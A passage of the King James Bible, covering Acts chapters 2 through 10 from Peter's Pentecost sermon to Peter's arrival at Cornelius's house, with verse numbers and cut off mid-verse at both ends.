raised up, whereof we all are witnesses. + +2:33 Therefore being by the right hand of God exalted, and having +received of the Father the promise of the Holy Ghost, he hath shed +forth this, which ye now see and hear. + +2:34 For David is not ascended into the heavens: but he saith himself, +The Lord said unto my Lord, Sit thou on my right hand, 2:35 Until I +make thy foes thy footstool. + +2:36 Therefore let all the house of Israel know assuredly, that God +hath made the same Jesus, whom ye have crucified, both Lord and +Christ. + +2:37 Now when they heard this, they were pricked in their heart, and +said unto Peter and to the rest of the apostles, Men and brethren, +what shall we do? 2:38 Then Peter said unto them, Repent, and be +baptized every one of you in the name of Jesus Christ for the +remission of sins, and ye shall receive the gift of the Holy Ghost. + +2:39 For the promise is unto you, and to your children, and to all +that are afar off, even as many as the LORD our God shall call. + +2:40 And with many other words did he testify and exhort, saying, Save +yourselves from this untoward generation. + +2:41 Then they that gladly received his word were baptized: and the +same day there were added unto them about three thousand souls. + +2:42 And they continued stedfastly in the apostles' doctrine and +fellowship, and in breaking of bread, and in prayers. + +2:43 And fear came upon every soul: and many wonders and signs were +done by the apostles. + +2:44 And all that believed were together, and had all things common; +2:45 And sold their possessions and goods, and parted them to all men, +as every man had need. + +2:46 And they, continuing daily with one accord in the temple, and +breaking bread from house to house, did eat their meat with gladness +and singleness of heart, 2:47 Praising God, and having favour with all +the people. And the Lord added to the church daily such as should be +saved. + +3:1 Now Peter and John went up together into the temple at the hour of +prayer, being the ninth hour. + +3:2 And a certain man lame from his mother's womb was carried, whom +they laid daily at the gate of the temple which is called Beautiful, +to ask alms of them that entered into the temple; 3:3 Who seeing Peter +and John about to go into the temple asked an alms. + +3:4 And Peter, fastening his eyes upon him with John, said, Look on +us. + +3:5 And he gave heed unto them, expecting to receive something of +them. + +3:6 Then Peter said, Silver and gold have I none; but such as I have +give I thee: In the name of Jesus Christ of Nazareth rise up and walk. + +3:7 And he took him by the right hand, and lifted him up: and +immediately his feet and ankle bones received strength. + +3:8 And he leaping up stood, and walked, and entered with them into +the temple, walking, and leaping, and praising God. + +3:9 And all the people saw him walking and praising God: 3:10 And they +knew that it was he which sat for alms at the Beautiful gate of the +temple: and they were filled with wonder and amazement at that which +had happened unto him. + +3:11 And as the lame man which was healed held Peter and John, all the +people ran together unto them in the porch that is called Solomon's, +greatly wondering. + +3:12 And when Peter saw it, he answered unto the people, Ye men of +Israel, why marvel ye at this? or why look ye so earnestly on us, as +though by our own power or holiness we had made this man to walk? +3:13 The God of Abraham, and of Isaac, and of Jacob, the God of our +fathers, hath glorified his Son Jesus; whom ye delivered up, and +denied him in the presence of Pilate, when he was determined to let +him go. + +3:14 But ye denied the Holy One and the Just, and desired a murderer +to be granted unto you; 3:15 And killed the Prince of life, whom God +hath raised from the dead; whereof we are witnesses. + +3:16 And his name through faith in his name hath made this man strong, +whom ye see and know: yea, the faith which is by him hath given him +this perfect soundness in the presence of you all. + +3:17 And now, brethren, I wot that through ignorance ye did it, as did +also your rulers. + +3:18 But those things, which God before had shewed by the mouth of all +his prophets, that Christ should suffer, he hath so fulfilled. + +3:19 Repent ye therefore, and be converted, that your sins may be +blotted out, when the times of refreshing shall come from the presence +of the Lord. + +3:20 And he shall send Jesus Christ, which before was preached unto +you: 3:21 Whom the heaven must receive until the times of restitution +of all things, which God hath spoken by the mouth of all his holy +prophets since the world began. + +3:22 For Moses truly said unto the fathers, A prophet shall the Lord +your God raise up unto you of your brethren, like unto me; him shall +ye hear in all things whatsoever he shall say unto you. + +3:23 And it shall come to pass, that every soul, which will not hear +that prophet, shall be destroyed from among the people. + +3:24 Yea, and all the prophets from Samuel and those that follow +after, as many as have spoken, have likewise foretold of these days. + +3:25 Ye are the children of the prophets, and of the covenant which +God made with our fathers, saying unto Abraham, And in thy seed shall +all the kindreds of the earth be blessed. + +3:26 Unto you first God, having raised up his Son Jesus, sent him to +bless you, in turning away every one of you from his iniquities. + +4:1 And as they spake unto the people, the priests, and the captain of +the temple, and the Sadducees, came upon them, 4:2 Being grieved that +they taught the people, and preached through Jesus the resurrection +from the dead. + +4:3 And they laid hands on them, and put them in hold unto the next +day: for it was now eventide. + +4:4 Howbeit many of them which heard the word believed; and the number +of the men was about five thousand. + +4:5 And it came to pass on the morrow, that their rulers, and elders, +and scribes, 4:6 And Annas the high priest, and Caiaphas, and John, +and Alexander, and as many as were of the kindred of the high priest, +were gathered together at Jerusalem. + +4:7 And when they had set them in the midst, they asked, By what +power, or by what name, have ye done this? 4:8 Then Peter, filled +with the Holy Ghost, said unto them, Ye rulers of the people, and +elders of Israel, 4:9 If we this day be examined of the good deed done +to the impotent man, by what means he is made whole; 4:10 Be it known +unto you all, and to all the people of Israel, that by the name of +Jesus Christ of Nazareth, whom ye crucified, whom God raised from the +dead, even by him doth this man stand here before you whole. + +4:11 This is the stone which was set at nought of you builders, which +is become the head of the corner. + +4:12 Neither is there salvation in any other: for there is none other +name under heaven given among men, whereby we must be saved. + +4:13 Now when they saw the boldness of Peter and John, and perceived +that they were unlearned and ignorant men, they marvelled; and they +took knowledge of them, that they had been with Jesus. + +4:14 And beholding the man which was healed standing with them, they +could say nothing against it. + +4:15 But when they had commanded them to go aside out of the council, +they conferred among themselves, 4:16 Saying, What shall we do to +these men? for that indeed a notable miracle hath been done by them is +manifest to all them that dwell in Jerusalem; and we cannot deny it. + +4:17 But that it spread no further among the people, let us straitly +threaten them, that they speak henceforth to no man in this name. + +4:18 And they called them, and commanded them not to speak at all nor +teach in the name of Jesus. + +4:19 But Peter and John answered and said unto them, Whether it be +right in the sight of God to hearken unto you more than unto God, +judge ye. + +4:20 For we cannot but speak the things which we have seen and heard. + +4:21 So when they had further threatened them, they let them go, +finding nothing how they might punish them, because of the people: for +all men glorified God for that which was done. + +4:22 For the man was above forty years old, on whom this miracle of +healing was shewed. + +4:23 And being let go, they went to their own company, and reported +all that the chief priests and elders had said unto them. + +4:24 And when they heard that, they lifted up their voice to God with +one accord, and said, Lord, thou art God, which hast made heaven, and +earth, and the sea, and all that in them is: 4:25 Who by the mouth of +thy servant David hast said, Why did the heathen rage, and the people +imagine vain things? 4:26 The kings of the earth stood up, and the +rulers were gathered together against the Lord, and against his +Christ. + +4:27 For of a truth against thy holy child Jesus, whom thou hast +anointed, both Herod, and Pontius Pilate, with the Gentiles, and the +people of Israel, were gathered together, 4:28 For to do whatsoever +thy hand and thy counsel determined before to be done. + +4:29 And now, Lord, behold their threatenings: and grant unto thy +servants, that with all boldness they may speak thy word, 4:30 By +stretching forth thine hand to heal; and that signs and wonders may be +done by the name of thy holy child Jesus. + +4:31 And when they had prayed, the place was shaken where they were +assembled together; and they were all filled with the Holy Ghost, and +they spake the word of God with boldness. + +4:32 And the multitude of them that believed were of one heart and of +one soul: neither said any of them that ought of the things which he +possessed was his own; but they had all things common. + +4:33 And with great power gave the apostles witness of the +resurrection of the Lord Jesus: and great grace was upon them all. + +4:34 Neither was there any among them that lacked: for as many as were +possessors of lands or houses sold them, and brought the prices of the +things that were sold, 4:35 And laid them down at the apostles' feet: +and distribution was made unto every man according as he had need. + +4:36 And Joses, who by the apostles was surnamed Barnabas, (which is, +being interpreted, The son of consolation,) a Levite, and of the +country of Cyprus, 4:37 Having land, sold it, and brought the money, +and laid it at the apostles' feet. + +5:1 But a certain man named Ananias, with Sapphira his wife, sold a +possession, 5:2 And kept back part of the price, his wife also being +privy to it, and brought a certain part, and laid it at the apostles' +feet. + +5:3 But Peter said, Ananias, why hath Satan filled thine heart to lie +to the Holy Ghost, and to keep back part of the price of the land? +5:4 Whiles it remained, was it not thine own? and after it was sold, +was it not in thine own power? why hast thou conceived this thing in +thine heart? thou hast not lied unto men, but unto God. + +5:5 And Ananias hearing these words fell down, and gave up the ghost: +and great fear came on all them that heard these things. + +5:6 And the young men arose, wound him up, and carried him out, and +buried him. + +5:7 And it was about the space of three hours after, when his wife, +not knowing what was done, came in. + +5:8 And Peter answered unto her, Tell me whether ye sold the land for +so much? And she said, Yea, for so much. + +5:9 Then Peter said unto her, How is it that ye have agreed together +to tempt the Spirit of the Lord? behold, the feet of them which have +buried thy husband are at the door, and shall carry thee out. + +5:10 Then fell she down straightway at his feet, and yielded up the +ghost: and the young men came in, and found her dead, and, carrying +her forth, buried her by her husband. + +5:11 And great fear came upon all the church, and upon as many as +heard these things. + +5:12 And by the hands of the apostles were many signs and wonders +wrought among the people; (and they were all with one accord in +Solomon's porch. + +5:13 And of the rest durst no man join himself to them: but the people +magnified them. + +5:14 And believers were the more added to the Lord, multitudes both of +men and women.) 5:15 Insomuch that they brought forth the sick into +the streets, and laid them on beds and couches, that at the least the +shadow of Peter passing by might overshadow some of them. + +5:16 There came also a multitude out of the cities round about unto +Jerusalem, bringing sick folks, and them which were vexed with unclean +spirits: and they were healed every one. + +5:17 Then the high priest rose up, and all they that were with him, +(which is the sect of the Sadducees,) and were filled with +indignation, 5:18 And laid their hands on the apostles, and put them +in the common prison. + +5:19 But the angel of the Lord by night opened the prison doors, and +brought them forth, and said, 5:20 Go, stand and speak in the temple +to the people all the words of this life. + +5:21 And when they heard that, they entered into the temple early in +the morning, and taught. But the high priest came, and they that were +with him, and called the council together, and all the senate of the +children of Israel, and sent to the prison to have them brought. + +5:22 But when the officers came, and found them not in the prison, +they returned and told, 5:23 Saying, The prison truly found we shut +with all safety, and the keepers standing without before the doors: +but when we had opened, we found no man within. + +5:24 Now when the high priest and the captain of the temple and the +chief priests heard these things, they doubted of them whereunto this +would grow. + +5:25 Then came one and told them, saying, Behold, the men whom ye put +in prison are standing in the temple, and teaching the people. + +5:26 Then went the captain with the officers, and brought them without +violence: for they feared the people, lest they should have been +stoned. + +5:27 And when they had brought them, they set them before the council: +and the high priest asked them, 5:28 Saying, Did not we straitly +command you that ye should not teach in this name? and, behold, ye +have filled Jerusalem with your doctrine, and intend to bring this +man's blood upon us. + +5:29 Then Peter and the other apostles answered and said, We ought to +obey God rather than men. + +5:30 The God of our fathers raised up Jesus, whom ye slew and hanged +on a tree. + +5:31 Him hath God exalted with his right hand to be a Prince and a +Saviour, for to give repentance to Israel, and forgiveness of sins. + +5:32 And we are his witnesses of these things; and so is also the Holy +Ghost, whom God hath given to them that obey him. + +5:33 When they heard that, they were cut to the heart, and took +counsel to slay them. + +5:34 Then stood there up one in the council, a Pharisee, named +Gamaliel, a doctor of the law, had in reputation among all the people, +and commanded to put the apostles forth a little space; 5:35 And said +unto them, Ye men of Israel, take heed to yourselves what ye intend to +do as touching these men. + +5:36 For before these days rose up Theudas, boasting himself to be +somebody; to whom a number of men, about four hundred, joined +themselves: who was slain; and all, as many as obeyed him, were +scattered, and brought to nought. + +5:37 After this man rose up Judas of Galilee in the days of the +taxing, and drew away much people after him: he also perished; and +all, even as many as obeyed him, were dispersed. + +5:38 And now I say unto you, Refrain from these men, and let them +alone: for if this counsel or this work be of men, it will come to +nought: 5:39 But if it be of God, ye cannot overthrow it; lest haply +ye be found even to fight against God. + +5:40 And to him they agreed: and when they had called the apostles, +and beaten them, they commanded that they should not speak in the name +of Jesus, and let them go. + +5:41 And they departed from the presence of the council, rejoicing +that they were counted worthy to suffer shame for his name. + +5:42 And daily in the temple, and in every house, they ceased not to +teach and preach Jesus Christ. + +6:1 And in those days, when the number of the disciples was +multiplied, there arose a murmuring of the Grecians against the +Hebrews, because their widows were neglected in the daily +ministration. + +6:2 Then the twelve called the multitude of the disciples unto them, +and said, It is not reason that we should leave the word of God, and +serve tables. + +6:3 Wherefore, brethren, look ye out among you seven men of honest +report, full of the Holy Ghost and wisdom, whom we may appoint over +this business. + +6:4 But we will give ourselves continually to prayer, and to the +ministry of the word. + +6:5 And the saying pleased the whole multitude: and they chose +Stephen, a man full of faith and of the Holy Ghost, and Philip, and +Prochorus, and Nicanor, and Timon, and Parmenas, and Nicolas a +proselyte of Antioch: 6:6 Whom they set before the apostles: and when +they had prayed, they laid their hands on them. + +6:7 And the word of God increased; and the number of the disciples +multiplied in Jerusalem greatly; and a great company of the priests +were obedient to the faith. + +6:8 And Stephen, full of faith and power, did great wonders and +miracles among the people. + +6:9 Then there arose certain of the synagogue, which is called the +synagogue of the Libertines, and Cyrenians, and Alexandrians, and of +them of Cilicia and of Asia, disputing with Stephen. + +6:10 And they were not able to resist the wisdom and the spirit by +which he spake. + +6:11 Then they suborned men, which said, We have heard him speak +blasphemous words against Moses, and against God. + +6:12 And they stirred up the people, and the elders, and the scribes, +and came upon him, and caught him, and brought him to the council, +6:13 And set up false witnesses, which said, This man ceaseth not to +speak blasphemous words against this holy place, and the law: 6:14 For +we have heard him say, that this Jesus of Nazareth shall destroy this +place, and shall change the customs which Moses delivered us. + +6:15 And all that sat in the council, looking stedfastly on him, saw +his face as it had been the face of an angel. + +7:1 Then said the high priest, Are these things so? 7:2 And he said, +Men, brethren, and fathers, hearken; The God of glory appeared unto +our father Abraham, when he was in Mesopotamia, before he dwelt in +Charran, 7:3 And said unto him, Get thee out of thy country, and from +thy kindred, and come into the land which I shall shew thee. + +7:4 Then came he out of the land of the Chaldaeans, and dwelt in +Charran: and from thence, when his father was dead, he removed him +into this land, wherein ye now dwell. + +7:5 And he gave him none inheritance in it, no, not so much as to set +his foot on: yet he promised that he would give it to him for a +possession, and to his seed after him, when as yet he had no child. + +7:6 And God spake on this wise, That his seed should sojourn in a +strange land; and that they should bring them into bondage, and +entreat them evil four hundred years. + +7:7 And the nation to whom they shall be in bondage will I judge, said +God: and after that shall they come forth, and serve me in this place. + +7:8 And he gave him the covenant of circumcision: and so Abraham begat +Isaac, and circumcised him the eighth day; and Isaac begat Jacob; and +Jacob begat the twelve patriarchs. + +7:9 And the patriarchs, moved with envy, sold Joseph into Egypt: but +God was with him, 7:10 And delivered him out of all his afflictions, +and gave him favour and wisdom in the sight of Pharaoh king of Egypt; +and he made him governor over Egypt and all his house. + +7:11 Now there came a dearth over all the land of Egypt and Chanaan, +and great affliction: and our fathers found no sustenance. + +7:12 But when Jacob heard that there was corn in Egypt, he sent out +our fathers first. + +7:13 And at the second time Joseph was made known to his brethren; and +Joseph's kindred was made known unto Pharaoh. + +7:14 Then sent Joseph, and called his father Jacob to him, and all his +kindred, threescore and fifteen souls. + +7:15 So Jacob went down into Egypt, and died, he, and our fathers, +7:16 And were carried over into Sychem, and laid in the sepulchre that +Abraham bought for a sum of money of the sons of Emmor the father of +Sychem. + +7:17 But when the time of the promise drew nigh, which God had sworn +to Abraham, the people grew and multiplied in Egypt, 7:18 Till another +king arose, which knew not Joseph. + +7:19 The same dealt subtilly with our kindred, and evil entreated our +fathers, so that they cast out their young children, to the end they +might not live. + +7:20 In which time Moses was born, and was exceeding fair, and +nourished up in his father's house three months: 7:21 And when he was +cast out, Pharaoh's daughter took him up, and nourished him for her +own son. + +7:22 And Moses was learned in all the wisdom of the Egyptians, and was +mighty in words and in deeds. + +7:23 And when he was full forty years old, it came into his heart to +visit his brethren the children of Israel. + +7:24 And seeing one of them suffer wrong, he defended him, and avenged +him that was oppressed, and smote the Egyptian: 7:25 For he supposed +his brethren would have understood how that God by his hand would +deliver them: but they understood not. + +7:26 And the next day he shewed himself unto them as they strove, and +would have set them at one again, saying, Sirs, ye are brethren; why +do ye wrong one to another? 7:27 But he that did his neighbour wrong +thrust him away, saying, Who made thee a ruler and a judge over us? +7:28 Wilt thou kill me, as thou diddest the Egyptian yesterday? 7:29 +Then fled Moses at this saying, and was a stranger in the land of +Madian, where he begat two sons. + +7:30 And when forty years were expired, there appeared to him in the +wilderness of mount Sina an angel of the Lord in a flame of fire in a +bush. + +7:31 When Moses saw it, he wondered at the sight: and as he drew near +to behold it, the voice of the LORD came unto him, 7:32 Saying, I am +the God of thy fathers, the God of Abraham, and the God of Isaac, and +the God of Jacob. Then Moses trembled, and durst not behold. + +7:33 Then said the Lord to him, Put off thy shoes from thy feet: for +the place where thou standest is holy ground. + +7:34 I have seen, I have seen the affliction of my people which is in +Egypt, and I have heard their groaning, and am come down to deliver +them. And now come, I will send thee into Egypt. + +7:35 This Moses whom they refused, saying, Who made thee a ruler and a +judge? the same did God send to be a ruler and a deliverer by the hand +of the angel which appeared to him in the bush. + +7:36 He brought them out, after that he had shewed wonders and signs +in the land of Egypt, and in the Red sea, and in the wilderness forty +years. + +7:37 This is that Moses, which said unto the children of Israel, A +prophet shall the Lord your God raise up unto you of your brethren, +like unto me; him shall ye hear. + +7:38 This is he, that was in the church in the wilderness with the +angel which spake to him in the mount Sina, and with our fathers: who +received the lively oracles to give unto us: 7:39 To whom our fathers +would not obey, but thrust him from them, and in their hearts turned +back again into Egypt, 7:40 Saying unto Aaron, Make us gods to go +before us: for as for this Moses, which brought us out of the land of +Egypt, we wot not what is become of him. + +7:41 And they made a calf in those days, and offered sacrifice unto +the idol, and rejoiced in the works of their own hands. + +7:42 Then God turned, and gave them up to worship the host of heaven; +as it is written in the book of the prophets, O ye house of Israel, +have ye offered to me slain beasts and sacrifices by the space of +forty years in the wilderness? 7:43 Yea, ye took up the tabernacle of +Moloch, and the star of your god Remphan, figures which ye made to +worship them: and I will carry you away beyond Babylon. + +7:44 Our fathers had the tabernacle of witness in the wilderness, as +he had appointed, speaking unto Moses, that he should make it +according to the fashion that he had seen. + +7:45 Which also our fathers that came after brought in with Jesus into +the possession of the Gentiles, whom God drave out before the face of +our fathers, unto the days of David; 7:46 Who found favour before God, +and desired to find a tabernacle for the God of Jacob. + +7:47 But Solomon built him an house. + +7:48 Howbeit the most High dwelleth not in temples made with hands; as +saith the prophet, 7:49 Heaven is my throne, and earth is my +footstool: what house will ye build me? saith the Lord: or what is the +place of my rest? 7:50 Hath not my hand made all these things? 7:51 +Ye stiffnecked and uncircumcised in heart and ears, ye do always +resist the Holy Ghost: as your fathers did, so do ye. + +7:52 Which of the prophets have not your fathers persecuted? and they +have slain them which shewed before of the coming of the Just One; of +whom ye have been now the betrayers and murderers: 7:53 Who have +received the law by the disposition of angels, and have not kept it. + +7:54 When they heard these things, they were cut to the heart, and +they gnashed on him with their teeth. + +7:55 But he, being full of the Holy Ghost, looked up stedfastly into +heaven, and saw the glory of God, and Jesus standing on the right hand +of God, 7:56 And said, Behold, I see the heavens opened, and the Son +of man standing on the right hand of God. + +7:57 Then they cried out with a loud voice, and stopped their ears, +and ran upon him with one accord, 7:58 And cast him out of the city, +and stoned him: and the witnesses laid down their clothes at a young +man's feet, whose name was Saul. + +7:59 And they stoned Stephen, calling upon God, and saying, Lord +Jesus, receive my spirit. + +7:60 And he kneeled down, and cried with a loud voice, Lord, lay not +this sin to their charge. And when he had said this, he fell asleep. + +8:1 And Saul was consenting unto his death. And at that time there was +a great persecution against the church which was at Jerusalem; and +they were all scattered abroad throughout the regions of Judaea and +Samaria, except the apostles. + +8:2 And devout men carried Stephen to his burial, and made great +lamentation over him. + +8:3 As for Saul, he made havock of the church, entering into every +house, and haling men and women committed them to prison. + +8:4 Therefore they that were scattered abroad went every where +preaching the word. + +8:5 Then Philip went down to the city of Samaria, and preached Christ +unto them. + +8:6 And the people with one accord gave heed unto those things which +Philip spake, hearing and seeing the miracles which he did. + +8:7 For unclean spirits, crying with loud voice, came out of many that +were possessed with them: and many taken with palsies, and that were +lame, were healed. + +8:8 And there was great joy in that city. + +8:9 But there was a certain man, called Simon, which beforetime in the +same city used sorcery, and bewitched the people of Samaria, giving +out that himself was some great one: 8:10 To whom they all gave heed, +from the least to the greatest, saying, This man is the great power of +God. + +8:11 And to him they had regard, because that of long time he had +bewitched them with sorceries. + +8:12 But when they believed Philip preaching the things concerning the +kingdom of God, and the name of Jesus Christ, they were baptized, both +men and women. + +8:13 Then Simon himself believed also: and when he was baptized, he +continued with Philip, and wondered, beholding the miracles and signs +which were done. + +8:14 Now when the apostles which were at Jerusalem heard that Samaria +had received the word of God, they sent unto them Peter and John: 8:15 +Who, when they were come down, prayed for them, that they might +receive the Holy Ghost: 8:16 (For as yet he was fallen upon none of +them: only they were baptized in the name of the Lord Jesus.) 8:17 +Then laid they their hands on them, and they received the Holy Ghost. + +8:18 And when Simon saw that through laying on of the apostles' hands +the Holy Ghost was given, he offered them money, 8:19 Saying, Give me +also this power, that on whomsoever I lay hands, he may receive the +Holy Ghost. + +8:20 But Peter said unto him, Thy money perish with thee, because thou +hast thought that the gift of God may be purchased with money. + +8:21 Thou hast neither part nor lot in this matter: for thy heart is +not right in the sight of God. + +8:22 Repent therefore of this thy wickedness, and pray God, if perhaps +the thought of thine heart may be forgiven thee. + +8:23 For I perceive that thou art in the gall of bitterness, and in +the bond of iniquity. + +8:24 Then answered Simon, and said, Pray ye to the LORD for me, that +none of these things which ye have spoken come upon me. + +8:25 And they, when they had testified and preached the word of the +Lord, returned to Jerusalem, and preached the gospel in many villages +of the Samaritans. + +8:26 And the angel of the Lord spake unto Philip, saying, Arise, and +go toward the south unto the way that goeth down from Jerusalem unto +Gaza, which is desert. + +8:27 And he arose and went: and, behold, a man of Ethiopia, an eunuch +of great authority under Candace queen of the Ethiopians, who had the +charge of all her treasure, and had come to Jerusalem for to worship, +8:28 Was returning, and sitting in his chariot read Esaias the +prophet. + +8:29 Then the Spirit said unto Philip, Go near, and join thyself to +this chariot. + +8:30 And Philip ran thither to him, and heard him read the prophet +Esaias, and said, Understandest thou what thou readest? 8:31 And he +said, How can I, except some man should guide me? And he desired +Philip that he would come up and sit with him. + +8:32 The place of the scripture which he read was this, He was led as +a sheep to the slaughter; and like a lamb dumb before his shearer, so +opened he not his mouth: 8:33 In his humiliation his judgment was +taken away: and who shall declare his generation? for his life is +taken from the earth. + +8:34 And the eunuch answered Philip, and said, I pray thee, of whom +speaketh the prophet this? of himself, or of some other man? 8:35 +Then Philip opened his mouth, and began at the same scripture, and +preached unto him Jesus. + +8:36 And as they went on their way, they came unto a certain water: +and the eunuch said, See, here is water; what doth hinder me to be +baptized? 8:37 And Philip said, If thou believest with all thine +heart, thou mayest. + +And he answered and said, I believe that Jesus Christ is the Son of +God. + +8:38 And he commanded the chariot to stand still: and they went down +both into the water, both Philip and the eunuch; and he baptized him. + +8:39 And when they were come up out of the water, the Spirit of the +Lord caught away Philip, that the eunuch saw him no more: and he went +on his way rejoicing. + +8:40 But Philip was found at Azotus: and passing through he preached +in all the cities, till he came to Caesarea. + +9:1 And Saul, yet breathing out threatenings and slaughter against the +disciples of the Lord, went unto the high priest, 9:2 And desired of +him letters to Damascus to the synagogues, that if he found any of +this way, whether they were men or women, he might bring them bound +unto Jerusalem. + +9:3 And as he journeyed, he came near Damascus: and suddenly there +shined round about him a light from heaven: 9:4 And he fell to the +earth, and heard a voice saying unto him, Saul, Saul, why persecutest +thou me? 9:5 And he said, Who art thou, Lord? And the Lord said, I am +Jesus whom thou persecutest: it is hard for thee to kick against the +pricks. + +9:6 And he trembling and astonished said, Lord, what wilt thou have me +to do? And the Lord said unto him, Arise, and go into the city, and it +shall be told thee what thou must do. + +9:7 And the men which journeyed with him stood speechless, hearing a +voice, but seeing no man. + +9:8 And Saul arose from the earth; and when his eyes were opened, he +saw no man: but they led him by the hand, and brought him into +Damascus. + +9:9 And he was three days without sight, and neither did eat nor +drink. + +9:10 And there was a certain disciple at Damascus, named Ananias; and +to him said the Lord in a vision, Ananias. And he said, Behold, I am +here, Lord. + +9:11 And the Lord said unto him, Arise, and go into the street which +is called Straight, and enquire in the house of Judas for one called +Saul, of Tarsus: for, behold, he prayeth, 9:12 And hath seen in a +vision a man named Ananias coming in, and putting his hand on him, +that he might receive his sight. + +9:13 Then Ananias answered, Lord, I have heard by many of this man, +how much evil he hath done to thy saints at Jerusalem: 9:14 And here +he hath authority from the chief priests to bind all that call on thy +name. + +9:15 But the Lord said unto him, Go thy way: for he is a chosen vessel +unto me, to bear my name before the Gentiles, and kings, and the +children of Israel: 9:16 For I will shew him how great things he must +suffer for my name's sake. + +9:17 And Ananias went his way, and entered into the house; and putting +his hands on him said, Brother Saul, the Lord, even Jesus, that +appeared unto thee in the way as thou camest, hath sent me, that thou +mightest receive thy sight, and be filled with the Holy Ghost. + +9:18 And immediately there fell from his eyes as it had been scales: +and he received sight forthwith, and arose, and was baptized. + +9:19 And when he had received meat, he was strengthened. Then was Saul +certain days with the disciples which were at Damascus. + +9:20 And straightway he preached Christ in the synagogues, that he is +the Son of God. + +9:21 But all that heard him were amazed, and said; Is not this he that +destroyed them which called on this name in Jerusalem, and came hither +for that intent, that he might bring them bound unto the chief +priests? 9:22 But Saul increased the more in strength, and confounded +the Jews which dwelt at Damascus, proving that this is very Christ. + +9:23 And after that many days were fulfilled, the Jews took counsel to +kill him: 9:24 But their laying await was known of Saul. And they +watched the gates day and night to kill him. + +9:25 Then the disciples took him by night, and let him down by the +wall in a basket. + +9:26 And when Saul was come to Jerusalem, he assayed to join himself +to the disciples: but they were all afraid of him, and believed not +that he was a disciple. + +9:27 But Barnabas took him, and brought him to the apostles, and +declared unto them how he had seen the Lord in the way, and that he +had spoken to him, and how he had preached boldly at Damascus in the +name of Jesus. + +9:28 And he was with them coming in and going out at Jerusalem. + +9:29 And he spake boldly in the name of the Lord Jesus, and disputed +against the Grecians: but they went about to slay him. + +9:30 Which when the brethren knew, they brought him down to Caesarea, +and sent him forth to Tarsus. + +9:31 Then had the churches rest throughout all Judaea and Galilee and +Samaria, and were edified; and walking in the fear of the Lord, and in +the comfort of the Holy Ghost, were multiplied. + +9:32 And it came to pass, as Peter passed throughout all quarters, he +came down also to the saints which dwelt at Lydda. + +9:33 And there he found a certain man named Aeneas, which had kept his +bed eight years, and was sick of the palsy. + +9:34 And Peter said unto him, Aeneas, Jesus Christ maketh thee whole: +arise, and make thy bed. And he arose immediately. + +9:35 And all that dwelt at Lydda and Saron saw him, and turned to the +Lord. + +9:36 Now there was at Joppa a certain disciple named Tabitha, which by +interpretation is called Dorcas: this woman was full of good works and +almsdeeds which she did. + +9:37 And it came to pass in those days, that she was sick, and died: +whom when they had washed, they laid her in an upper chamber. + +9:38 And forasmuch as Lydda was nigh to Joppa, and the disciples had +heard that Peter was there, they sent unto him two men, desiring him +that he would not delay to come to them. + +9:39 Then Peter arose and went with them. When he was come, they +brought him into the upper chamber: and all the widows stood by him +weeping, and shewing the coats and garments which Dorcas made, while +she was with them. + +9:40 But Peter put them all forth, and kneeled down, and prayed; and +turning him to the body said, Tabitha, arise. And she opened her eyes: +and when she saw Peter, she sat up. + +9:41 And he gave her his hand, and lifted her up, and when he had +called the saints and widows, presented her alive. + +9:42 And it was known throughout all Joppa; and many believed in the +Lord. + +9:43 And it came to pass, that he tarried many days in Joppa with one +Simon a tanner. + +10:1 There was a certain man in Caesarea called Cornelius, a centurion +of the band called the Italian band, 10:2 A devout man, and one that +feared God with all his house, which gave much alms to the people, and +prayed to God alway. + +10:3 He saw in a vision evidently about the ninth hour of the day an +angel of God coming in to him, and saying unto him, Cornelius. + +10:4 And when he looked on him, he was afraid, and said, What is it, +Lord? And he said unto him, Thy prayers and thine alms are come up +for a memorial before God. + +10:5 And now send men to Joppa, and call for one Simon, whose surname +is Peter: 10:6 He lodgeth with one Simon a tanner, whose house is by +the sea side: he shall tell thee what thou oughtest to do. + +10:7 And when the angel which spake unto Cornelius was departed, he +called two of his household servants, and a devout soldier of them +that waited on him continually; 10:8 And when he had declared all +these things unto them, he sent them to Joppa. + +10:9 On the morrow, as they went on their journey, and drew nigh unto +the city, Peter went up upon the housetop to pray about the sixth +hour: 10:10 And he became very hungry, and would have eaten: but while +they made ready, he fell into a trance, 10:11 And saw heaven opened, +and a certain vessel descending upon him, as it had been a great sheet +knit at the four corners, and let down to the earth: 10:12 Wherein +were all manner of fourfooted beasts of the earth, and wild beasts, +and creeping things, and fowls of the air. + +10:13 And there came a voice to him, Rise, Peter; kill, and eat. + +10:14 But Peter said, Not so, Lord; for I have never eaten any thing +that is common or unclean. + +10:15 And the voice spake unto him again the second time, What God +hath cleansed, that call not thou common. + +10:16 This was done thrice: and the vessel was received up again into +heaven. + +10:17 Now while Peter doubted in himself what this vision which he had +seen should mean, behold, the men which were sent from Cornelius had +made enquiry for Simon's house, and stood before the gate, 10:18 And +called, and asked whether Simon, which was surnamed Peter, were lodged +there. + +10:19 While Peter thought on the vision, the Spirit said unto him, +Behold, three men seek thee. + +10:20 Arise therefore, and get thee down, and go with them, doubting +nothing: for I have sent them. + +10:21 Then Peter went down to the men which were sent unto him from +Cornelius; and said, Behold, I am he whom ye seek: what is the cause +wherefore ye are come? 10:22 And they said, Cornelius the centurion, +a just man, and one that feareth God, and of good report among all the +nation of the Jews, was warned from God by an holy angel to send for +thee into his house, and to hear words of thee. + +10:23 Then called he them in, and lodged them. And on the morrow Peter +went away with them, and certain brethren from Joppa accompanied him. + +10:24 And the morrow after they entered into Caesarea. And Cornelius +waited for them, and he had called together his kinsmen and near +friends. + +10:25 And as Peter was coming in, Cornelius met him, and fell down at +his feet, and worshipped him. + +10:26 But Peter took him up, saying, Stand up; I myself also am a man. + +10:27 And as he talked with him, he went in, and found many that were +come together. + +10:28 And he said unto them, Ye know how that it is an unlawful thing +for a man that is a Jew to keep company, or come unto one of another +nation; but God hath shewed me that I should not call any man common +or unclean. + +10:29 Therefore came I unto you without gainsaying, as soon as I was +sent for: I ask therefore for what intent ye have sent for me? 10:30 +And Cornelius said, Four days ago I was fasting until this hour; and +at the ninth hour I prayed in my house, and, behold, a man stood +before me in bright clothing, 10:31 And said, Cornelius, thy prayer is +heard, and thine alms are had in remembrance in the sight of God. + +10:32 Send therefore to Joppa, and call hither Simon, whose surname is +Peter; he is lodged in the house of one Simon a tanner by the sea +side: who, when he cometh, shall speak unto thee. + +10:33 Immediately therefore I sent to thee; and thou hast well done +that thou art come. Now therefore are we all here present before God, +to hear all things that are commanded thee of God. + +10:34 Then Peter opened his mouth, and said, Of a truth I perceive +that God is no respecter of persons: 10:35 But in every nation he that +feareth him, and worketh righteousness, is accepted with him. + +10:36 The word which God sent unto the children of 